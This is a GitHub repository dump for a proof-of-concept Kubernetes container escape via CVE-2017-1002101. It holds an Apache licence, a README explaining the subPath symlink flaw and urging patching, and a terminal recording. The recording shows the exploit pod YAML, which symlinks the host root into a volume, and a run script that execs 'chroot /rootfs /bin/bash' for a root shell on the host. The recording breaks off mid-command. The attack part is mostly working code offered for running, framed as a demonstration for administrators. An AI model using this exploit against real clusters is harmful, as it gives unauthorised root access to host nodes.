├── LICENSE ├── README.md ├── asciinema └── demo.json ├── exploit-pod-no-chroot.yaml ├── exploit-pod-user-1000.yaml ├── exploit-pod.yaml ├── run-as-root-no-chroot.sh ├── run-as-root.sh └── run-as-user-1000.sh /LICENSE: -------------------------------------------------------------------------------- 1 | Apache License 2 | Version 2.0, January 2004 3 | http://www.apache.org/licenses/ 4 | 5 | TERMS AND CONDITIONS FOR USE, REPRODUCTION, AND DISTRIBUTION 6 | 7 | 1. Definitions. 8 | 9 | "License" shall mean the terms and conditions for use, reproduction, 10 | and distribution as defined by Sections 1 through 9 of this document. 11 | 12 | "Licensor" shall mean the copyright owner or entity authorized by 13 | the copyright owner that is granting the License. 14 | 15 | "Legal Entity" shall mean the union of the acting entity and all 16 | other entities that control, are controlled by, or are under common 17 | control with that entity. For the purposes of this definition, 18 | "control" means (i) the power, direct or indirect, to cause the 19 | direction or management of such entity, whether by contract or 20 | otherwise, or (ii) ownership of fifty percent (50%) or more of the 21 | outstanding shares, or (iii) beneficial ownership of such entity. 22 | 23 | "You" (or "Your") shall mean an individual or Legal Entity 24 | exercising permissions granted by this License. 25 | 26 | "Source" form shall mean the preferred form for making modifications, 27 | including but not limited to software source code, documentation 28 | source, and configuration files. 29 | 30 | "Object" form shall mean any form resulting from mechanical 31 | transformation or translation of a Source form, including but 32 | not limited to compiled object code, generated documentation, 33 | and conversions to other media types. 34 | 35 | "Work" shall mean the work of authorship, whether in Source or 36 | Object form, made available under the License, as indicated by a 37 | copyright notice that is included in or attached to the work 38 | (an example is provided in the Appendix below). 39 | 40 | "Derivative Works" shall mean any work, whether in Source or Object 41 | form, that is based on (or derived from) the Work and for which the 42 | editorial revisions, annotations, elaborations, or other modifications 43 | represent, as a whole, an original work of authorship. For the purposes 44 | of this License, Derivative Works shall not include works that remain 45 | separable from, or merely link (or bind by name) to the interfaces of, 46 | the Work and Derivative Works thereof. 47 | 48 | "Contribution" shall mean any work of authorship, including 49 | the original version of the Work and any modifications or additions 50 | to that Work or Derivative Works thereof, that is intentionally 51 | submitted to Licensor for inclusion in the Work by the copyright owner 52 | or by an individual or Legal Entity authorized to submit on behalf of 53 | the copyright owner. For the purposes of this definition, "submitted" 54 | means any form of electronic, verbal, or written communication sent 55 | to the Licensor or its representatives, including but not limited to 56 | communication on electronic mailing lists, source code control systems, 57 | and issue tracking systems that are managed by, or on behalf of, the 58 | Licensor for the purpose of discussing and improving the Work, but 59 | excluding communication that is conspicuously marked or otherwise 60 | designated in writing by the copyright owner as "Not a Contribution." 61 | 62 | "Contributor" shall mean Licensor and any individual or Legal Entity 63 | on behalf of whom a Contribution has been received by Licensor and 64 | subsequently incorporated within the Work. 65 | 66 | 2. Grant of Copyright License. Subject to the terms and conditions of 67 | this License, each Contributor hereby grants to You a perpetual, 68 | worldwide, non-exclusive, no-charge, royalty-free, irrevocable 69 | copyright license to reproduce, prepare Derivative Works of, 70 | publicly display, publicly perform, sublicense, and distribute the 71 | Work and such Derivative Works in Source or Object form. 72 | 73 | 3. Grant of Patent License. Subject to the terms and conditions of 74 | this License, each Contributor hereby grants to You a perpetual, 75 | worldwide, non-exclusive, no-charge, royalty-free, irrevocable 76 | (except as stated in this section) patent license to make, have made, 77 | use, offer to sell, sell, import, and otherwise transfer the Work, 78 | where such license applies only to those patent claims licensable 79 | by such Contributor that are necessarily infringed by their 80 | Contribution(s) alone or by combination of their Contribution(s) 81 | with the Work to which such Contribution(s) was submitted. If You 82 | institute patent litigation against any entity (including a 83 | cross-claim or counterclaim in a lawsuit) alleging that the Work 84 | or a Contribution incorporated within the Work constitutes direct 85 | or contributory patent infringement, then any patent licenses 86 | granted to You under this License for that Work shall terminate 87 | as of the date such litigation is filed. 88 | 89 | 4. Redistribution. You may reproduce and distribute copies of the 90 | Work or Derivative Works thereof in any medium, with or without 91 | modifications, and in Source or Object form, provided that You 92 | meet the following conditions: 93 | 94 | (a) You must give any other recipients of the Work or 95 | Derivative Works a copy of this License; and 96 | 97 | (b) You must cause any modified files to carry prominent notices 98 | stating that You changed the files; and 99 | 100 | (c) You must retain, in the Source form of any Derivative Works 101 | that You distribute, all copyright, patent, trademark, and 102 | attribution notices from the Source form of the Work, 103 | excluding those notices that do not pertain to any part of 104 | the Derivative Works; and 105 | 106 | (d) If the Work includes a "NOTICE" text file as part of its 107 | distribution, then any Derivative Works that You distribute must 108 | include a readable copy of the attribution notices contained 109 | within such NOTICE file, excluding those notices that do not 110 | pertain to any part of the Derivative Works, in at least one 111 | of the following places: within a NOTICE text file distributed 112 | as part of the Derivative Works; within the Source form or 113 | documentation, if provided along with the Derivative Works; or, 114 | within a display generated by the Derivative Works, if and 115 | wherever such third-party notices normally appear. The contents 116 | of the NOTICE file are for informational purposes only and 117 | do not modify the License. You may add Your own attribution 118 | notices within Derivative Works that You distribute, alongside 119 | or as an addendum to the NOTICE text from the Work, provided 120 | that such additional attribution notices cannot be construed 121 | as modifying the License. 122 | 123 | You may add Your own copyright statement to Your modifications and 124 | may provide additional or different license terms and conditions 125 | for use, reproduction, or distribution of Your modifications, or 126 | for any such Derivative Works as a whole, provided Your use, 127 | reproduction, and distribution of the Work otherwise complies with 128 | the conditions stated in this License. 129 | 130 | 5. Submission of Contributions. Unless You explicitly state otherwise, 131 | any Contribution intentionally submitted for inclusion in the Work 132 | by You to the Licensor shall be under the terms and conditions of 133 | this License, without any additional terms or conditions. 134 | Notwithstanding the above, nothing herein shall supersede or modify 135 | the terms of any separate license agreement you may have executed 136 | with Licensor regarding such Contributions. 137 | 138 | 6. Trademarks. This License does not grant permission to use the trade 139 | names, trademarks, service marks, or product names of the Licensor, 140 | except as required for reasonable and customary use in describing the 141 | origin of the Work and reproducing the content of the NOTICE file. 142 | 143 | 7. Disclaimer of Warranty. Unless required by applicable law or 144 | agreed to in writing, Licensor provides the Work (and each 145 | Contributor provides its Contributions) on an "AS IS" BASIS, 146 | WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or 147 | implied, including, without limitation, any warranties or conditions 148 | of TITLE, NON-INFRINGEMENT, MERCHANTABILITY, or FITNESS FOR A 149 | PARTICULAR PURPOSE. You are solely responsible for determining the 150 | appropriateness of using or redistributing the Work and assume any 151 | risks associated with Your exercise of permissions under this License. 152 | 153 | 8. Limitation of Liability. In no event and under no legal theory, 154 | whether in tort (including negligence), contract, or otherwise, 155 | unless required by applicable law (such as deliberate and grossly 156 | negligent acts) or agreed to in writing, shall any Contributor be 157 | liable to You for damages, including any direct, indirect, special, 158 | incidental, or consequential damages of any character arising as a 159 | result of this License or out of the use or inability to use the 160 | Work (including but not limited to damages for loss of goodwill, 161 | work stoppage, computer failure or malfunction, or any and all 162 | other commercial damages or losses), even if such Contributor 163 | has been advised of the possibility of such damages. 164 | 165 | 9. Accepting Warranty or Additional Liability. While redistributing 166 | the Work or Derivative Works thereof, You may choose to offer, 167 | and charge a fee for, acceptance of support, warranty, indemnity, 168 | or other liability obligations and/or rights consistent with this 169 | License. However, in accepting such obligations, You may act only 170 | on Your own behalf and on Your sole responsibility, not on behalf 171 | of any other Contributor, and only if You agree to indemnify, 172 | defend, and hold each Contributor harmless for any liability 173 | incurred by, or claims asserted against, such Contributor by reason 174 | of your accepting any such warranty or additional liability. 175 | 176 | END OF TERMS AND CONDITIONS 177 | 178 | APPENDIX: How to apply the Apache License to your work. 179 | 180 | To apply the Apache License to your work, attach the following 181 | boilerplate notice, with the fields enclosed by brackets "{}" 182 | replaced with your own identifying information. (Don't include 183 | the brackets!) The text should be enclosed in the appropriate 184 | comment syntax for the file format. We also recommend that a 185 | file or class name and description of purpose be included on the 186 | same "printed page" as the copyright notice for easier 187 | identification within third-party archives. 188 | 189 | Copyright 2018 Brad Geesaman 190 | 191 | Licensed under the Apache License, Version 2.0 (the "License"); 192 | you may not use this file except in compliance with the License. 193 | You may obtain a copy of the License at 194 | 195 | http://www.apache.org/licenses/LICENSE-2.0 196 | 197 | Unless required by applicable law or agreed to in writing, software 198 | distributed under the License is distributed on an "AS IS" BASIS, 199 | WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. 200 | See the License for the specific language governing permissions and 201 | limitations under the License. 202 | -------------------------------------------------------------------------------- /README.md: -------------------------------------------------------------------------------- 1 | # Sample Kubernetes Escape via [CVE-2017-1002101](https://nvd.nist.gov/vuln/detail/CVE-2017-1002101) 2 | 3 | ## Description 4 | 5 | After hearing about the issue and following [this guide](https://www.twistlock.com/2018/03/21/deep-dive-severe-kubernetes-vulnerability-date-cve-2017-1002101/), I wanted to explore things a bit more. This repo contains a couple pod deployments and helper shell scripts that demonstrate the attack mechanism in the simplest way possible so that Kubernetes administrators and operators can fully understand the severity and potential risks. You must be an authenticated user or able to control a pod's spec/template at creation, so this escape is not likely going to be anonymous unless combined with other attacks like [this](https://medium.com/handy-tech/analysis-of-a-kubernetes-hack-backdooring-through-kubelet-823be5c3d67c). 6 | 7 | ## Quick Explanation 8 | 9 | When the Kubelet goes to mount a volume/secret/configmap, etc, it incorrectly follows symlinks inside the volume to locations outside the scope of where it should. Because the Kubelet is running as root, this means it can be tricked into mounting privileged parts of the host filesystem inside a non-privileged pod's container. 10 | 11 | My approach was to use a single pod with two "normal" containers. One container creates the symlink to `/` or `/home/ubuntu` and the other crashloops until that succeeds (forcing the volume to be remounted and following that symlink path), allowing the user to exec into the second container and access the mount point. 12 | 13 | ## Quick Run 14 | 15 | Note: These examples work without modification against an Ubuntu 16.04 host, but they can be easily tweaked for other setups. 16 | 17 | 1. Examine the files in the repo before running anything. 18 | 2. Run `./run-as-root.sh` if your cluster is fairly "stock". 19 | 3. Run `./run-as-root-no-chroot.sh` or `./run-as-user-1000.sh` for other variations. 20 | 21 | [![asciicast](https://asciinema.org/a/alFqdDOlyud1NJUCPABpgOf0v.png)](https://asciinema.org/a/alFqdDOlyud1NJUCPABpgOf0v) 22 | 23 | ## Mitigation Strategy 24 | 25 | It's really a "must-patch" situation. Unfortunately, the workarounds listed [here](https://github.com/kubernetes/kubernetes/issues/60813) aren't terribly practical for most folks. Nearly all prior versions are vulnerable. 26 | 27 | ## References 28 | - [https://github.com/kubernetes/kubernetes/issues/60813](https://github.com/kubernetes/kubernetes/issues/60813) 29 | - [https://nvd.nist.gov/vuln/detail/CVE-2017-1002101](https://nvd.nist.gov/vuln/detail/CVE-2017-1002101) 30 | - [https://www.twistlock.com/2018/03/21/deep-dive-severe-kubernetes-vulnerability-date-cve-2017-1002101/](https://www.twistlock.com/2018/03/21/deep-dive-severe-kubernetes-vulnerability-date-cve-2017-1002101/) 31 | -------------------------------------------------------------------------------- /asciinema/demo.json: -------------------------------------------------------------------------------- 1 | { 2 | "version": 1, 3 | "width": 112, 4 | "height": 32, 5 | "duration": 66.327993, 6 | "command": "/bin/bash --rcfile ~/.bash_profile", 7 | "title": null, 8 | "env": { 9 | "TERM": "xterm-256color", 10 | "SHELL": "/bin/bash" 11 | }, 12 | "stdout": [ 13 | [ 14 | 0.726246, 15 | "\u001b[?1034h\u001b]0;geese@mb: ~/code/github/subpath-exploit\u0007\u001b[0;32m~/code/github/subpath-exploit\u001b[0m[\u001b[0;37mmaster\u001b[0m]$ " 16 | ], 17 | [ 18 | 0.806122, 19 | "k" 20 | ], 21 | [ 22 | 5.3e-05, 23 | "ub" 24 | ], 25 | [ 26 | 3.8e-05, 27 | "e" 28 | ], 29 | [ 30 | 3.5e-05, 31 | "c" 32 | ], 33 | [ 34 | 3e-05, 35 | "t" 36 | ], 37 | [ 38 | 2.8e-05, 39 | "l" 40 | ], 41 | [ 42 | 2.9e-05, 43 | " " 44 | ], 45 | [ 46 | 6.9e-05, 47 | "g" 48 | ], 49 | [ 50 | 5.4e-05, 51 | "et " 52 | ], 53 | [ 54 | 3.2e-05, 55 | "n" 56 | ], 57 | [ 58 | 2.7e-05, 59 | "o" 60 | ], 61 | [ 62 | 2.6e-05, 63 | "d" 64 | ], 65 | [ 66 | 2.7e-05, 67 | "e" 68 | ], 69 | [ 70 | 2.8e-05, 71 | "s" 72 | ], 73 | [ 74 | 0.648882, 75 | "\r\n" 76 | ], 77 | [ 78 | 1.060307, 79 | "NAME STATUS ROLES AGE VERSION\r\nip-10-1-0-10 Ready 45d v1.9.2\r\nip-10-1-0-11 Ready" 80 | ], 81 | [ 82 | 5e-05, 83 | " 45d v1.9.2\r\nip-10-1-0-12 Ready 45d v1.9.2\r\n" 84 | ], 85 | [ 86 | 0.039463, 87 | "\u001b]0;geese@mb: ~/code/github/subpath-exploit\u0007\u001b[0;32m~/code/github/subpath-exploit\u001b[0m[\u001b[0;37mmaster\u001b[0m]$ " 88 | ], 89 | [ 90 | 2.0, 91 | "k" 92 | ], 93 | [ 94 | 4.1e-05, 95 | "ube" 96 | ], 97 | [ 98 | 3.1e-05, 99 | "c" 100 | ], 101 | [ 102 | 3.7e-05, 103 | "tl" 104 | ], 105 | [ 106 | 2.8e-05, 107 | " " 108 | ], 109 | [ 110 | 2.6e-05, 111 | "g" 112 | ], 113 | [ 114 | 2.6e-05, 115 | "e" 116 | ], 117 | [ 118 | 0.000105, 119 | "t po" 120 | ], 121 | [ 122 | 2.8e-05, 123 | "d" 124 | ], 125 | [ 126 | 2.6e-05, 127 | "s" 128 | ], 129 | [ 130 | 0.750528, 131 | "\r\n" 132 | ], 133 | [ 134 | 0.138315, 135 | "No resources found.\r\n" 136 | ], 137 | [ 138 | 0.035803, 139 | "\u001b]0;geese@mb: ~/code/github/subpath-exploit\u0007\u001b[0;32m~/code/github/subpath-exploit\u001b[0m[\u001b[0;37mmaster\u001b[0m]$ " 140 | ], 141 | [ 142 | 2.0, 143 | "l" 144 | ], 145 | [ 146 | 0.0001, 147 | "e" 148 | ], 149 | [ 150 | 4.2e-05, 151 | "ss" 152 | ], 153 | [ 154 | 3.1e-05, 155 | " " 156 | ], 157 | [ 158 | 4.4e-05, 159 | "ex" 160 | ], 161 | [ 162 | 3.6e-05, 163 | "p" 164 | ], 165 | [ 166 | 3.1e-05, 167 | "l" 168 | ], 169 | [ 170 | 3.1e-05, 171 | "o" 172 | ], 173 | [ 174 | 3e-05, 175 | "i" 176 | ], 177 | [ 178 | 2.9e-05, 179 | "t" 180 | ], 181 | [ 182 | 2.9e-05, 183 | "-" 184 | ], 185 | [ 186 | 2.9e-05, 187 | "p" 188 | ], 189 | [ 190 | 3e-05, 191 | "o" 192 | ], 193 | [ 194 | 4.4e-05, 195 | "d." 196 | ], 197 | [ 198 | 6.7e-05, 199 | "y" 200 | ], 201 | [ 202 | 5.5e-05, 203 | "am" 204 | ], 205 | [ 206 | 8e-05, 207 | "l" 208 | ], 209 | [ 210 | 0.972937, 211 | "\r\n" 212 | ], 213 | [ 214 | 0.011438, 215 | "\u001b[?1049h\u001b[?1h\u001b=\r" 216 | ], 217 | [ 218 | 0.000163, 219 | "---\r\napiVersion: v1\r\nkind: Pod\r\nmetadata:\r\n name: subpath\r\nspec:\r\n containers:\r\n - image: nginx:latest\r\n securityContext:\r\n allowPrivilegeEscalation: false\r\n capabilities:\r\n drop:\r\n - CHOWN\r\n - DAC_OVERRIDE\r\n - FOWNER\r\n - FSETID\r\n - KILL\r\n - SETGID\r\n - SETUID\r\n - SETPCAP\r\n - NET_BIND_SERVICE\r\n - NET_ADMIN\r\n - NET_RAW\r\n - MKNOD\r\n - AUDIT_WRITE\r\n name: setup\r\n imagePullPolicy: \"Always\"\r\n command: [\"/bin/bash\"]\r\n args: [\"-c\", \"cd /rootfs && rm -rf hostetc && ln -s / /rootfs/host && touch /status/done && sleep infinity\"]\r\n volumeMounts:\r\n - mountPath: /rootfs\r\n\u001b[7mexploit-pod.yaml\u001b[27m\u001b[K" 220 | ], 221 | [ 222 | 1.563836, 223 | "\r\u001b[K \u001b[KESC\b\b\bESC\u001b[KO\bO" 224 | ], 225 | [ 226 | 3.9e-05, 227 | "\u001b[KB\bB\r\u001b[K name: escape-volume\r\n:\u001b[K" 228 | ], 229 | [ 230 | 0.494382, 231 | "\r\u001b[K \u001b[KESC\b\b\bESC\u001b[KO\bO" 232 | ], 233 | [ 234 | 3.8e-05, 235 | "\u001b[KB\bB\r\u001b[K - mountPath: /status\r\n:\u001b[K" 236 | ], 237 | [ 238 | 0.472525, 239 | "\r\u001b[K \u001b[KESC\b\b\bESC\u001b[KO\bO" 240 | ], 241 | [ 242 | 3.5e-05, 243 | "\u001b[KB\bB\r\u001b[K name: status-volume\r\n:\u001b[K" 244 | ], 245 | [ 246 | 0.382628, 247 | "\r\u001b[K \u001b[KESC\b\b\bESC\u001b[KO\bO" 248 | ], 249 | [ 250 | 3.5e-05, 251 | "\u001b[KB\bB\r\u001b[K - image: nginx:latest\r\n:\u001b[K" 252 | ], 253 | [ 254 | 0.404793, 255 | "\r\u001b[K \u001b[KESC\b\b\bESC\u001b[KO\bO" 256 | ], 257 | [ 258 | 6.9e-05, 259 | "\u001b[KB\bB\r\u001b[K securityContext:\r\n:\u001b[K" 260 | ], 261 | [ 262 | 0.373409, 263 | "\r\u001b[K \u001b[KESC\b\b\bESC\u001b[KO\bO\u001b[KB\bB\r\u001b[K" 264 | ], 265 | [ 266 | 6.5e-05, 267 | " allowPrivilegeEscalation: false\r\n:\u001b[K" 268 | ], 269 | [ 270 | 0.222583, 271 | "\r\u001b[K \u001b[KESC\b\b\bESC\u001b[KO\bO\u001b[KB\bB\r\u001b[K" 272 | ], 273 | [ 274 | 4.2e-05, 275 | " capabilities:\r\n:\u001b[K" 276 | ], 277 | [ 278 | 0.270184, 279 | "\r\u001b[K \u001b[KESC\b\b\bESC\u001b[KO\bO" 280 | ], 281 | [ 282 | 3.6e-05, 283 | "\u001b[KB\bB\r\u001b[K drop:\r\n:\u001b[K" 284 | ], 285 | [ 286 | 0.258618, 287 | "\r\u001b[K \u001b[KESC\b\b\bESC\u001b[KO\bO" 288 | ], 289 | [ 290 | 3.1e-05, 291 | "\u001b[KB\bB\r\u001b[K - CHOWN\r\n:\u001b[K" 292 | ], 293 | [ 294 | 0.213741, 295 | "\r\u001b[K \u001b[KESC\b\b\bESC\u001b[KO\bO" 296 | ], 297 | [ 298 | 3.7e-05, 299 | "\u001b[KB\bB\r\u001b[K - DAC_OVERRIDE\r\n:\u001b[K" 300 | ], 301 | [ 302 | 0.236103, 303 | "\r\u001b[K \u001b[KESC\b\b\bESC\u001b[KO\bO" 304 | ], 305 | [ 306 | 3.4e-05, 307 | "\u001b[KB\bB\r\u001b[K - FOWNER\r\n:\u001b[K" 308 | ], 309 | [ 310 | 0.224967, 311 | "\r\u001b[K \u001b[KESC\b\b\bESC\u001b[KO\bO" 312 | ], 313 | [ 314 | 3.5e-05, 315 | "\u001b[KB\bB\r\u001b[K - FSETID\r\n:\u001b[K" 316 | ], 317 | [ 318 | 0.225038, 319 | "\r\u001b[K \u001b[KESC\b\b\bESC\u001b[KO\bO" 320 | ], 321 | [ 322 | 4.3e-05, 323 | "\u001b[KB\bB\r\u001b[K - KILL\r\n:\u001b[K" 324 | ], 325 | [ 326 | 0.224926, 327 | "\r\u001b[K \u001b[KESC\b\b\bESC\u001b[KO\bO\u001b[KB\bB\r\u001b[K" 328 | ], 329 | [ 330 | 4e-05, 331 | " - SETGID\r\n:\u001b[K" 332 | ], 333 | [ 334 | 0.202455, 335 | "\r\u001b[K \u001b[KESC\b\b\bESC\u001b[KO\bO" 336 | ], 337 | [ 338 | 3.4e-05, 339 | "\u001b[KB\bB\r\u001b[K - SETUID\r\n:\u001b[K" 340 | ], 341 | [ 342 | 0.202534, 343 | "\r\u001b[K \u001b[KESC\b\b\bESC\u001b[KO\bO\u001b[KB\bB\r\u001b[K" 344 | ], 345 | [ 346 | 3.7e-05, 347 | " - SETPCAP\r\n:\u001b[K" 348 | ], 349 | [ 350 | 0.168772, 351 | "\r\u001b[K \u001b[KESC\b\b\bESC\u001b[KO\bO\u001b[KB\bB\r\u001b[K - NET_BIND_SERVICE\r\n:\u001b[K" 352 | ], 353 | [ 354 | 0.213705, 355 | "\r\u001b[K \u001b[KESC\b\b\bESC\u001b[KO\bO" 356 | ], 357 | [ 358 | 3.6e-05, 359 | "\u001b[KB\bB\r\u001b[K - NET_ADMIN\r\n:\u001b[K" 360 | ], 361 | [ 362 | 0.191183, 363 | "\r\u001b[K \u001b[KESC\b\b\bESC\u001b[KO\bO" 364 | ], 365 | [ 366 | 3.7e-05, 367 | "\u001b[KB\bB\r\u001b[K - NET_RAW\r\n:\u001b[K" 368 | ], 369 | [ 370 | 0.213505, 371 | "\r\u001b[K \u001b[KESC\b\b\bESC\u001b[KO\bO" 372 | ], 373 | [ 374 | 3.1e-05, 375 | "\u001b[KB\bB\r\u001b[K - MKNOD\r\n:\u001b[K" 376 | ], 377 | [ 378 | 0.821387, 379 | "\r\u001b[K \u001b[KESC\b\b\bESC\u001b[KO\bO\u001b[KB\bB\r\u001b[K" 380 | ], 381 | [ 382 | 3.7e-05, 383 | " - AUDIT_WRITE\r\n:\u001b[K" 384 | ], 385 | [ 386 | 0.213728, 387 | "\r\u001b[K \u001b[KESC\b\b\bESC\u001b[KO\bO\u001b[KB\bB\r\u001b[K" 388 | ], 389 | [ 390 | 4.4e-05, 391 | " name: exploit\r\n:\u001b[K" 392 | ], 393 | [ 394 | 0.191257, 395 | "\r\u001b[K \u001b[KESC\b\b\bESC\u001b[KO\bO" 396 | ], 397 | [ 398 | 3.5e-05, 399 | "\u001b[KB\bB\r\u001b[K imagePullPolicy: \"Always\"\r\n:\u001b[K" 400 | ], 401 | [ 402 | 0.202415, 403 | "\r\u001b[K \u001b[KESC\b\b\bESC\u001b[KO\bO" 404 | ], 405 | [ 406 | 3.9e-05, 407 | "\u001b[KB\bB\r\u001b[K command: [\"/bin/bash\"]\r\n:\u001b[K" 408 | ], 409 | [ 410 | 0.193125, 411 | "\r\u001b[K \u001b[KESC\b\b\bESC" 412 | ], 413 | [ 414 | 0.000204, 415 | "\u001b[KO\bO\u001b[KB\bB\r\u001b[K args: [\"-c\", \"if [[ -f /status/done ]];then sleep infinity; else sleep 1; fi\"]\r\n:\u001b[K" 416 | ], 417 | [ 418 | 0.211676, 419 | "\r\u001b[K \u001b[KESC\b\b\bESC\u001b[KO\bO" 420 | ], 421 | [ 422 | 3.5e-05, 423 | "\u001b[KB\bB\r\u001b[K volumeMounts:\r\n:\u001b[K" 424 | ], 425 | [ 426 | 0.574183, 427 | "\r\u001b[K \u001b[KESC\b\b\bESC\u001b[KO\bO\u001b[KB\bB\r\u001b[K - mountPath: /rootfs\r\n:\u001b[K" 428 | ], 429 | [ 430 | 0.291987, 431 | "\r\u001b[K \u001b[KESC\b\b\bESC\u001b[KO\bO" 432 | ], 433 | [ 434 | 3.5e-05, 435 | "\u001b[KB\bB\r\u001b[K name: escape-volume\r\n:\u001b[K" 436 | ], 437 | [ 438 | 0.393828, 439 | "\r\u001b[K \u001b[KESC\b\b\bESC\u001b[KO\bO" 440 | ], 441 | [ 442 | 3.6e-05, 443 | "\u001b[KB\bB\r\u001b[K subPath: host\r\n:\u001b[K" 444 | ], 445 | [ 446 | 0.269935, 447 | "\r\u001b[K \u001b[KESC\b\b\bESC\u001b[KO\bO\u001b[KB\bB\r\u001b[K" 448 | ], 449 | [ 450 | 4.5e-05, 451 | " - mountPath: /status\r\n:\u001b[K" 452 | ], 453 | [ 454 | 0.22493, 455 | "\r\u001b[K \u001b[KESC\b\b\bESC\u001b[KO\bO" 456 | ], 457 | [ 458 | 3.7e-05, 459 | "\u001b[KB\bB\r\u001b[K name: status-volume\r\n:\u001b[K" 460 | ], 461 | [ 462 | 0.191269, 463 | "\r\u001b[K \u001b[KESC\b\b\bESC\u001b[KO\bO\u001b[KB\bB\r\u001b[K" 464 | ], 465 | [ 466 | 4.6e-05, 467 | " volumes:\r\n:\u001b[K" 468 | ], 469 | [ 470 | 0.191161, 471 | "\r\u001b[K \u001b[KESC\b\b\bESC\u001b[KO\bO" 472 | ], 473 | [ 474 | 3.6e-05, 475 | "\u001b[KB\bB\r\u001b[K - name: escape-volume\r\n:\u001b[K" 476 | ], 477 | [ 478 | 0.179989, 479 | "\r\u001b[K \u001b[KESC\b\b\bESC\u001b[KO\bO" 480 | ], 481 | [ 482 | 3.5e-05, 483 | "\u001b[KB\bB\r\u001b[K emptyDir: {}\r\n:\u001b[K" 484 | ], 485 | [ 486 | 0.224943, 487 | "\r\u001b[K \u001b[KESC\b\b\bESC\u001b[KO\bO\u001b[KB\bB\r\u001b[K" 488 | ], 489 | [ 490 | 3.8e-05, 491 | " - name: status-volume\r\n:\u001b[K" 492 | ], 493 | [ 494 | 0.213661, 495 | "\r\u001b[K \u001b[KESC\b\b\bESC\u001b[KO\bO\u001b[KB\bB\r\u001b[K" 496 | ], 497 | [ 498 | 3.7e-05, 499 | " emptyDir: {}\r\n\u001b[7m(END)\u001b[27m\u001b[K" 500 | ], 501 | [ 502 | 0.180041, 503 | "\r\u001b[K \u001b[KESC\b\b\bESC\u001b[KO\bO" 504 | ], 505 | [ 506 | 3.4e-05, 507 | "\u001b[KB\bB\r\u001b[K\u0007\r\u001b[K\u001b[7m(END)\u001b[27m\u001b[K" 508 | ], 509 | [ 510 | 0.224958, 511 | "\r\u001b[K \u001b[KESC\b\b\bESC\u001b[KO\bO\u001b[KB\bB\r\u001b[K" 512 | ], 513 | [ 514 | 4.8e-05, 515 | "\u0007\r\u001b[K\u001b[7m(END)\u001b[27m\u001b[K" 516 | ], 517 | [ 518 | 2.0, 519 | "\r\u001b[K\u001b[?1l\u001b>\u001b[?1049l" 520 | ], 521 | [ 522 | 0.057616, 523 | "\u001b]0;geese@mb: ~/code/github/subpath-exploit\u0007\u001b[0;32m~/code/github/subpath-exploit\u001b[0m[\u001b[0;37mmaster\u001b[0m]$ " 524 | ], 525 | [ 526 | 0.560964, 527 | "c" 528 | ], 529 | [ 530 | 4.4e-05, 531 | "at" 532 | ], 533 | [ 534 | 2.9e-05, 535 | " r" 536 | ], 537 | [ 538 | 3.7e-05, 539 | "u" 540 | ], 541 | [ 542 | 2.8e-05, 543 | "n" 544 | ], 545 | [ 546 | 4.4e-05, 547 | "-" 548 | ], 549 | [ 550 | 3.2e-05, 551 | "a" 552 | ], 553 | [ 554 | 2.7e-05, 555 | "s" 556 | ], 557 | [ 558 | 2.8e-05, 559 | "-r" 560 | ], 561 | [ 562 | 7.6e-05, 563 | "oo" 564 | ], 565 | [ 566 | 4.3e-05, 567 | "t." 568 | ], 569 | [ 570 | 2.9e-05, 571 | "s" 572 | ], 573 | [ 574 | 3e-05, 575 | "h" 576 | ], 577 | [ 578 | 1.717857, 579 | "\r\n" 580 | ], 581 | [ 582 | 0.0062, 583 | "#!/bin/bash\r\n\r\necho \"Create the pod...\"\r\nkubectl create -f exploit-pod.yaml\r\necho \"Pod created. Sleeping a bit to allow them to come up\"\r\nsleep 5\r\necho \"Execing into the container with a root shell on the underlying host\"\r\nkubectl exec -it subpath -c exploit -- chroot /rootfs /bin/bash\r\necho \"Cleaning up\"\r\nkubectl delete -f exploit-pod.yaml\r\n" 584 | ], 585 | [ 586 | 0.03406, 587 | "\u001b]0;geese@mb: ~/code/github/subpath-exploit\u0007\u001b[0;32m~/code/github/subpath-exploit\u001b[0m[\u001b[0;37mmaster\u001b[0m]$ " 588 | ], 589 | [ 590 | 2.0, 591 | "k" 592 | ], 593 | [ 594 | 0.000128, 595 | "ubect" 596 | ], 597 | [ 598 | 6.2e-05, 599 | "l" 600 | ], 601 | [ 602 | 3.3e-05, 603 | " c" 604 | ], 605 | [ 606 | 3.1e-05, 607 | "r" 608 | ], 609 | [ 610 | 3.2e-05, 611 | "e" 612 | ], 613 | [ 614 | 3.1e-05, 615 | "a" 616 | ], 617 | [ 618 | 6.8e-05, 619 | "te" 620 | ], 621 | [ 622 | 3e-05, 623 | " " 624 | ], 625 | [ 626 | 5.6e-05, 627 | "-" 628 | ], 629 | [ 630 | 7.6e-05, 631 | "f " 632 | ], 633 | [ 634 | 3.1e-05, 635 | "e" 636 | ], 637 | [ 638 | 3.3e-05, 639 | "x" 640 | ], 641 | [ 642 | 2.5e-05, 643 | "pl" 644 | ], 645 | [ 646 | 5.2e-05, 647 | "o" 648 | ], 649 | [ 650 | 3.5e-05, 651 | "it" 652 | ], 653 | [ 654 | 2.9e-05, 655 | "-" 656 | ], 657 | [ 658 | 2.5e-05, 659 | "p" 660 | ], 661 | [ 662 | 2.7e-05, 663 | "o" 664 | ], 665 | [ 666 | 3e-05, 667 | "d" 668 | ], 669 | [ 670 | 3e-05, 671 | ".y" 672 | ], 673 | [ 674 | 4.6e-05, 675 | "a" 676 | ], 677 | [ 678 | 3.7e-05, 679 | "m" 680 | ], 681 | [ 682 | 3e-05, 683 | "l" 684 | ], 685 | [ 686 | 0.952145, 687 | "\r\n" 688 | ], 689 | [ 690 | 0.246731, 691 | "pod \"subpath\" created\r\n" 692 | ], 693 | [ 694 | 0.05214, 695 | "\u001b]0;geese@mb: ~/code/github/subpath-exploit\u0007\u001b[0;32m~/code/github/subpath-exploit\u001b[0m[\u001b[0;37mmaster\u001b[0m]$ " 696 | ], 697 | [ 698 | 2.0, 699 | "k" 700 | ], 701 | [ 702 | 3.8e-05, 703 | "ube" 704 | ], 705 | [ 706 | 2.6e-05, 707 | "ct" 708 | ], 709 | [ 710 | 3e-05, 711 | "l" 712 | ], 713 | [ 714 | 2.4e-05, 715 | " " 716 | ], 717 | [ 718 | 3.5e-05, 719 | "ex" 720 | ], 721 | [ 722 | 3.9e-05, 723 | "e" 724 | ], 725 | [ 726 | 2.5e-05, 727 | "c" 728 | ], 729 | [ 730 | 2.4e-05, 731 | " " 732 | ], 733 | [ 734 | 2.5e-05, 735 | "-" 736 | ], 737 | [ 738 | 2.6e-05, 739 | "i" 740 | 